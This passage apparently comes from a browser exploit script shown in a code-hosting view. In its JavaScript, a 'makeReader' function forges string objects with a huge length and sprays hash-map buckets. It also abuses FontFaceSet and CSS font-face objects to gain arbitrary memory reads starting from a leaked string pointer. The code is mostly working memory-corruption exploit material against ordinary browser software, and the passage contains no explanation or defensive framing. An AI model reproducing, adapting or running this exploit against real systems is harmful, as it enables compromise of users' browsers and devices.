(read_addr, ffs_name)
| 158 | print("stringimpl leak: "+hex(leak)); |
| 159 | |
| 160 | function makeReader(read_addr, ffs_name) |
| 161 | { |
| 162 | var fake_s = ''; |
| 163 | fake_s += '0000'; //padding for 8-byte alignment |
| 164 | fake_s += '\u00ff\u0000\u0000\u0000\u00ff\u00ff\u00ff\u00ff'; //refcount=255, length=0xffffffff |
| 165 | fake_s += ptrToString(read_addr); //where to read from |
| 166 | fake_s += ptrToString(0x80000014); //some fake non-zero hash, atom, 8-bit |
| 167 | p_s = ''; |
| 168 | p_s += ptrToString(29); |
| 169 | p_s += ptrToString(guessed_addr); |
| 170 | p_s += ptrToString(guessed_addr + SIZEOF_CSS_FONT_FACE); |
| 171 | p_s += ptrToString(guessed_addr + 2 * SIZEOF_CSS_FONT_FACE); |
| 172 | for(var i = 0; i < 18; i++) |
| 173 | p_s += ptrToString(INVALID_POINTER); |
| 174 | for(var i = 0; i < 256; i++) |
| 175 | mkString(HASHMAP_BUCKET, p_s); |
| 176 | var the_ffs = ffses[ffs_name] = new FontFaceSet([bad_fonts[guessed_font], bad_fonts[guessed_font+1], bad_fonts[guessed_font+2], good_font]); |
| 177 | mkString(HASHMAP_BUCKET, p_s); |
| 178 | var relative_read = mkString(HASHMAP_BUCKET, fake_s); |
| 179 | bad_fonts[guessed_font].family = ffs_name+"_evil1"; |
| 180 | bad_fonts[guessed_font+1].family = ffs_name+"_evil2"; |
| 181 | bad_fonts[guessed_font+2].family = ffs_name+"_evil3"; |
| 182 | needfix.push(relative_read); |
| 183 | if(relative_read.length < 1000) //failed |
| 184 | return makeReader(read_addr, ffs_name+'_'); |
| 185 | return relative_read; |
| 186 | } |
| 187 | |
| 188 | var fastmalloc = makeReader(leak, 'ffs3'); //read from leaked string ptr |
| 189 | print("fastmalloc.length = "+fastmalloc.length); |
no test coverage detected